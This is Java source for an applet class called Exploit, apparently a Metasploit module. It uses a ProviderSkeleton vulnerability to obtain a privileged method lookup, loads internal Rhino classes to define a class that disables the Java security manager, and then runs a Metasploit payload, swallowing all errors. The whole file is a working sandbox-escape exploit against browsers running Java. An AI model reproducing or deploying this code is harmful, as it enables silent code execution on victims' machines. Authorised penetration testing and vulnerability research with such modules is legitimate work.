import java.applet.Applet; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.lang.invoke.MethodHandle; import java.lang.invoke.MethodHandles; import java.lang.invoke.MethodType; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; import metasploit.Payload; import com.sun.tracing.Provider; import com.sun.tracing.ProviderFactory; /** * Class exploiting the vulnerability in the ProviderSkeleton class. Based on * POC of Security Explorations' Issue 61. * * @author mk * */ public class Exploit extends Applet { InvocationHandler invoc = null; MethodHandles.Lookup look; public Exploit() { try { ByteArrayOutputStream classInputStream = new ByteArrayOutputStream(); byte[] classBuffer = new byte[8192]; int classLength; InputStream inputStream = getClass().getResourceAsStream( "DisableSecurityManagerAction.class"); while ((classLength = inputStream.read(classBuffer)) > 0) classInputStream.write(classBuffer, 0, classLength); classBuffer = classInputStream.toByteArray(); ProviderFactory fac = ProviderFactory.getDefaultFactory(); Provider p = fac.createProvider(ExpProvider.class); invoc = Proxy.getInvocationHandler(p); Class handle = java.lang.invoke.MethodHandles.class; Method m = handle.getMethod("lookup", new Class[0]); look = (MethodHandles.Lookup) invoc.invoke(null, m, new Object[0]); Class context = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.Context"); Class defClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.DefiningClassLoader"); Class genClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.GeneratedClassLoader"); MethodHandle enterMethod = getMethod(context, "enter", context, new Class[0], true); Class argTypes[] = new Class[1]; argTypes[0] = ClassLoader.class; MethodHandle createClassLoader = getMethod(context, "createClassLoader", genClassLoader, argTypes, false); argTypes = new Class[2]; argTypes[0] = Class.forName("java.lang.String"); argTypes[1] = (new byte[0]).getClass(); MethodHandle defineClass = getMethod(defClassLoader, "defineClass", java.lang.Class.class, argTypes, false); Object enterContext = enterMethod.invoke(); Object cLoader = createClassLoader.invoke(enterContext, null); Class disabler = (Class) defineClass.invoke(cLoader, "DisableSecurityManagerAction", classBuffer); disabler.newInstance(); Payload.main(null); } catch (Throwable e) { } } private Class loadClassUnderPrivContext(String className) throws Throwable { Class ret = null; Class theClass = java.lang.Class.class; Class argTypes[] = new Class[1]; argTypes[0] = String.class; Method m = theClass.getMethod("forName", argTypes); Object argObjects[] = new Object[1]; argObjects[0] = className; ret = (Class) invoc.invoke(null, m, argObjects); return ret; } private MethodHandle getMethod(Class c, String methodName, Class returnType, Class argTypes[], boolean isStaticMethod) throws NoSuchMethodException, IllegalAccessException { MethodHandle ret = null; MethodType methodType = MethodType.methodType(returnType, argTypes); if (isStaticMethod) ret = look.findStatic(c, methodName, methodType); else ret = look.findVirtual(c, methodName, methodType); return ret; } }